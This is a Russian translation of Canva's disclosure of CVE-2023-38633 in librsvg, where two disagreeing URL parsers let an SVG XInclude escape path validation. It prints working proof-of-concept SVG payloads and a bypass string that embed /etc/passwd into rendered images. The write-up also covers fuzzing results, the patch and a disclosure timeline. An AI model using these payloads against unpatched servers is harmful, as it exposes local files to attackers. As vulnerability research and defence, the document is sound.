Автор оригинала: Canva Developers
Автор перевода @Bright_Translate
Обнаружение и разбор уязвимости CVE-2023-38633 в librsvg, заключающейся в ситуации, когда две реализации URL-парсера (Rust и Glib) расходятся в парсинге схемы файла, создавая уязвимость к атаке обхода каталога.
В рамках своей миссии по созданию самой надёжной в мире платформы мы в Canva непрерывно оцениваем безопасность наших программных зависимостей. Определение и устранение уязвимостей в сторонних зависимостях помогает повысить безопасность не только нашей платформы, но и интернета в целом. Вкупе с такими инструментами управления безопасностью, как изолированные среды, мы всё больше усложняем для злоумышленников процесс эксплуатации сторонних зависимостей.
Одной из таких используемых в Canva зависимостей является librsvg (задействуется через libvips). Эта библиотека позволяет быстро отрисовывать пользовательские SVG в пиктограммы, впоследствии отображаемые в виде PNG. Мы показали, что путём эксплуатации различий в отрисовке URL-парсерами SVG-изображений при помощи librsvg можно внедрять в итоговое изображение произвольные файлы с диска. Мейнтейнеры
librsvg быстро исправили эту уязвимость, впоследствии зарегистрированную как CVE-2023-38633.
Мы делимся результатами проведённого исследования в качестве ещё одного примера опасностей, заключающихся в совместном использовании URL-парсеров, особенно с учётом того, что обнаруженный нами случай оказался трудноуловимым.
Отдельная благодарность мейнтейнеру librsvg Федерико, мейнтейнеру libvips Джону и мейнтейнеру Sharp Ловеллу за проделанную ими работу и оперативный отклик.
К примеру, взгляните на эту внутреннюю SVG-картинку.
Мы закодировали её в виде URI и поместили в другое SVG-изображение, outer.svg.
При выполнении с помощью Inkscape 0.92.4 на выходе получилось изображение, в котором активировалась XInclude fallback.
Здесь нас удивил сам факт поддержки XInclude, поскольку это зачастую ведёт к появлению уязвимостей безопасности. И хотя Inkscape в Canva не используется, анализ его пути выполнения кода показал, что вложенные изображения загружаются с помощью GdkPixbuf, который, в свою очередь, делегирует загрузку SVG библиотеке librsvg. Это оказалось очень интересно, потому как librsvg в Canva уже используется.
В XInclude выделяется два элемента:
Согласно предыстории нам было известно, что librsvg поддерживает как минимум некоторые из стандартов XInclude. Чтобы понять, какие именно, мы изучили её реализацию. Выяснилось, что каждая внешняя URL-ссылка в SVG для валидации проходит через один метод. В частности, это касается следующих ссылок:
Зная о том, что здесь задействовано два парсера (один для валидации URL и один для загрузки содержимого), для обхода проверок безопасности нам нужно было найти URL, в котором эти парсеры не согласовывались.
Проведя пару тестов, мы определили, как парсеры обрабатывают разные URL.
Gio не раскрывает парсинг обобщённого URL-адреса (кроме GUri, который не находится на пути вызова), но в некоторых примерах результат g_filename_from_uri возвращается.
Как оказалось, realpath(".") и std::fs::canonicalize(".") возвращают «текущий каталог». Мы можем использовать это в нашей проверке концепции в качестве плейсхолдера вместо current.svg.
Внутри poc.svg это выглядит так:
И даёт следующий вывод:
При выполнении через vipsthumbnail мы получаем аналогичный результат.
Чувствительные файлы в /proc, такие как /proc/self/environ, обработать не получилось из-за используемой в них кодировки символов.
Заметьте, что эта проверка концепции работает только там, где SVG загружается из file://. SVG, загружаемые через схемы data: или resource:, неуязвимы.
Данная уязвимость также породила дискуссию на тему парсинга URL-адресов в glib, что привело к реализации в этой библиотеке дополнительной валидации.
В ходе обнаружения и исправления проблемы наиболее яркими оказались следующие моменты:
Автор перевода @Bright_Translate
Обнаружение и разбор уязвимости CVE-2023-38633 в librsvg, заключающейся в ситуации, когда две реализации URL-парсера (Rust и Glib) расходятся в парсинге схемы файла, создавая уязвимость к атаке обхода каталога.
В рамках своей миссии по созданию самой надёжной в мире платформы мы в Canva непрерывно оцениваем безопасность наших программных зависимостей. Определение и устранение уязвимостей в сторонних зависимостях помогает повысить безопасность не только нашей платформы, но и интернета в целом. Вкупе с такими инструментами управления безопасностью, как изолированные среды, мы всё больше усложняем для злоумышленников процесс эксплуатации сторонних зависимостей.
Одной из таких используемых в Canva зависимостей является librsvg (задействуется через libvips). Эта библиотека позволяет быстро отрисовывать пользовательские SVG в пиктограммы, впоследствии отображаемые в виде PNG. Мы показали, что путём эксплуатации различий в отрисовке URL-парсерами SVG-изображений при помощи librsvg можно внедрять в итоговое изображение произвольные файлы с диска. Мейнтейнеры
librsvg быстро исправили эту уязвимость, впоследствии зарегистрированную как CVE-2023-38633.
Мы делимся результатами проведённого исследования в качестве ещё одного примера опасностей, заключающихся в совместном использовании URL-парсеров, особенно с учётом того, что обнаруженный нами случай оказался трудноуловимым.
Отдельная благодарность мейнтейнеру librsvg Федерико, мейнтейнеру libvips Джону и мейнтейнеру Sharp Ловеллу за проделанную ими работу и оперативный отклик.
Предыстория
Статья Виктора Кахана из Elttam на тему проблем XML-парсинга в Inkscape показывает, насколько этот инструмент уязвим к атаке обхода каталога при рендеринге SVG. Расширяя исследование Виктора, мы выяснили, что хоть XInclude и не поддерживается в Inkscape 0.9 непосредственно, он демонстрирует интересное поведение, когда одно изображение SVG вложено в другое.К примеру, взгляните на эту внутреннюю SVG-картинку.
XML:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="300" height="300" style="fill:rgb(255,204,204);" />
<text x="0" y="100">
<xi:include href="/etc/passwd" parse="text" encoding="ASCII">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>
XML:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" height="300" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="data:image/svg;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjMwMCIgaGVpZ2h0PSIzMDAiIHhtbG5zOnhpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hJbmNsdWRlIj4KICA8cmVjdCB3aWR0aD0iMzAwIiBoZWlnaHQ9IjMwMCIgc3R5bGU9ImZpbGw6cmdiKDI1NSwyMDQsMjA0KTsiIC8+CiAgPHRleHQgeD0iMCIgeT0iMTAwIj4KICAgIDx4aTppbmNsdWRlIGhyZWY9Ii9ldGMvcGFzc3dkIiBwYXJzZT0idGV4dCIgZW5jb2Rpbmc9IkFTQ0lJIj4KICAgICAgPHhpOmZhbGxiYWNrPmZpbGUgbm90IGZvdW5kPC94aTpmYWxsYmFjaz4KICAgIDwveGk6aW5jbHVkZT4KICA8L3RleHQ+Cjwvc3ZnPg==" />
</svg>
Код:
$ inkscape -f test.svg -e out.png -w 300
Здесь нас удивил сам факт поддержки XInclude, поскольку это зачастую ведёт к появлению уязвимостей безопасности. И хотя Inkscape в Canva не используется, анализ его пути выполнения кода показал, что вложенные изображения загружаются с помощью GdkPixbuf, который, в свою очередь, делегирует загрузку SVG библиотеке librsvg. Это оказалось очень интересно, потому как librsvg в Canva уже используется.
XInclude
XInclude – это механизм слияния XML-документов, который может создавать уязвимости безопасности, когда пользовательский XML (вроде SVG) формируется или отрисовывается на сервере.
В XInclude выделяется два элемента:
- xi:include, отвечающий за внедрение содержимого URL, например файла или HTTP-запроса. Включаемое содержимое может быть простым текстом или XML.
- xi:fallback, отвечающий за предоставление содержимого для отрисовки в случае, когда xi:Include не может загрузить то, на которое ведёт ссылка.
XML:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<example xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="/etc/passwd" parse="text" encoding="ASCII">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</example>
Тут есть правила
librsvg – это библиотека Rust для отрисовки SVG-изображений на поверхностях Cairo. Сейчас основная часть её функциональности реализована на Rust, но при этом она опирается на библиотеки Cairo и GNOME.
Согласно предыстории нам было известно, что librsvg поддерживает как минимум некоторые из стандартов XInclude. Чтобы понять, какие именно, мы изучили её реализацию. Выяснилось, что каждая внешняя URL-ссылка в SVG для валидации проходит через один метод. В частности, это касается следующих ссылок:
- <image href=«https://something.png» />
- <rect filter=«url('file-with-filters.svg#my_filter')» />
- <xi:include href="/etc/passwd"… />
- все URL data: разрешены, поскольку не могут ссылаться на внешние файлы.
- схема, на которую ведёт ссылка, должна соответствовать схеме «текущего документа». Например, при обработке https://foo/bar/example.svg любой встречаемый URL должен соответствовать схеме file:.
- встреченные файлы должны находиться в одном каталоге с текущим документом или в его подкаталоге. Это обеспечивается проверкой пути URL.
- все остальные схемы отклоняются, включая http:.
Расхождение парсеров
Разрешение URL-адреса в SVG-документе происходит в два этапа:- валидация URL согласно описанным выше правилам.
- в случае успеха – загрузка содержимого, которое парсит URL, используя встроенный в Gio парсер URI.
Код:
// xml/mod.rs
fn acquire(&self, href: Option<&str>, /* ... */) -> Result<(), AcquireError> {
let aurl = self.url_resolver.resolve_href(href) // ...
// ...
self.acquire_text(&aurl, encoding);
}
fn acquire_text(&self, aurl: &AllowedUrl, encoding: Option<&str>) -> Result<(), AcquireError> {
let binary = io::acquire_data(aurl, None);
// ...
return result;
}
Код:
// io.rs
pub fn acquire_data(aurl: &AllowedUrl, /* ... */) -> Result<BinaryData, IoError> {
let uri = aurl.as_str();
// ...
let file = GFile::for_uri(uri);
let (contents, _etag) = file.load_contents(cancellable)?;
// ...
return contents;
// ...
}
Проведя пару тестов, мы определили, как парсеры обрабатывают разные URL.
| URL | Спарсенный результат Rust url |
| Схема | file |
| Хост | нет |
| Путь | /etc/passwd |
| Запрос | foo=bar |
| Фрагмент | baz |
| URL | результат g_filename_from_uri |
| /etc/passwd?foo=bar#baz Примечание: в коммите Glib 3986471 даёт сбой из-за символов? и #. | |
| /etc/passwd | |
| /etc/passwd&hello | |
| /etc/passwd@host | |
| file://host/etc/passwd | /etc/passwd |
Обход валидации
Понимая, где находятся парсеры, мы взяли соответствующие части из librsvg и настроили фаззинг-тесты («resolve») для выполнения логики, соответствующей логике обработки URL, при встрече ссылки (href, XInclude и т.п.) из находящегося на диске файла current.svg. Это позволило нам быстро протестировать и проанализировать входные данные, чтобы понять, как обрабатывается парсинг и логика валидации. Вот некоторые интересные выводы фаззинга:- resolve 'current.svg': проходит ожидаемым образом.
- resolve run '../../../../../../../etc/passwd': каноникализация проваливается с ошибкой 'No such file or directory'.
- resolve 'current.svg?../../../../../../../etc/passwd': проходит.
- resolve 'none/../current.svg': проходит ожидаемым образом.
Обход каноникализации
Часть валидации URL-адреса в librsvg заключается в каноникализации создаваемого URL для замены сегментов .. и . согласно стандартным правилам файловой системы. Библиотека выполняет это, используя std::fs::canonicalize (вызывая realpath), который выбрасывает ошибку, если:- путь не существует;
- не последний компонент в пути не является каталогом.
Код:
$ realpath current.svg
/home/zsims/projects/librsvg-poc/current.svg
$ realpath .
/home/zsims/projects/librsvg-poc/
Проверка концепции
Понимая, в чём расходятся URL-парсеры, и как можно обойти каноникализацию, не зная имени текущего файла, мы можем создать полезную нагрузку для внедрения /etc/passwd.
Код:
.?../../../../../../../etc/passwd
XML:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="300" height="300" style="fill:rgb(255,204,204);" />
<text x="0" y="100">
<xi:include href=".?../../../../../../../etc/passwd" parse="text" encoding="ASCII">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>
Код:
$ rsvg-convert poc.svg > poc.png
При выполнении через vipsthumbnail мы получаем аналогичный результат.
Чувствительные файлы в /proc, такие как /proc/self/environ, обработать не получилось из-за используемой в них кодировки символов.
Код:
$ rsvg-convert proc-poc.svg > proc-poc.png
thread 'main' panicked at 'str::ToGlibPtr<*const c_char>: unexpected '' character: NulError(21...
Патч
После получения этого отчёта (Issue 996) мейнтейнер librsvg Федерико пропатчил уязвимость путём улучшения валидации URL и использования в GFile прошедшего эту валидацию URL. Ответ Федерико включал просьбу к мейнтейнерам Sharp и libvips внести исправления до того, как проблема будет публично зарегистрирована под кодом CVE-2023-38633.Данная уязвимость также породила дискуссию на тему парсинга URL-адресов в glib, что привело к реализации в этой библиотеке дополнительной валидации.
В ходе обнаружения и исправления проблемы наиболее яркими оказались следующие моменты:
- опасность совместного использования разных URL-парсеров в той же степени касается URL file:// и внутрипроцессного использования, в какой сетевых сервисов и URL http://.
- URL file:// являются особенными. Например, в спецификации URL подчёркивается поддержка строк запроса в адресах file://, но в изученных нами реализациях поддержка сильно отличалась.
- усилия по преобразованию существующего кода Си в код Rust сопряжены с риском. И хотя безопасность памяти значительно повысилась, различия в контрактах (вроде парсинга URL) могут сказаться на ней негативным образом.
- необходимо прослеживать, чтобы URL парсился только один раз, и далее использовалось именно полученное значение.
- по возможности нужно реализовывать собственную валидацию файлов, таких как SVG, до их последующей обработки. По этой причине MediaWiki не подвержена данной проблеме, так как элементы xi:include отклоняются до того, как SVG достигает librsvg.
Хронология
- 11 июля 2023: обнаружена проблема;
- 12 июля 2023: информация передана мейнтейнерам librsvg.
- 19 июля 2023: мейнтейнеры librsvg сообщают о проблеме мейтейнерам зависимых библиотек, включая libvips и Sharp.
- 21 июля 2023: librsvg пропатчена.
- 22 июля 2023 – уязвимость зарегистрирована под кодом CVE-2023-38633.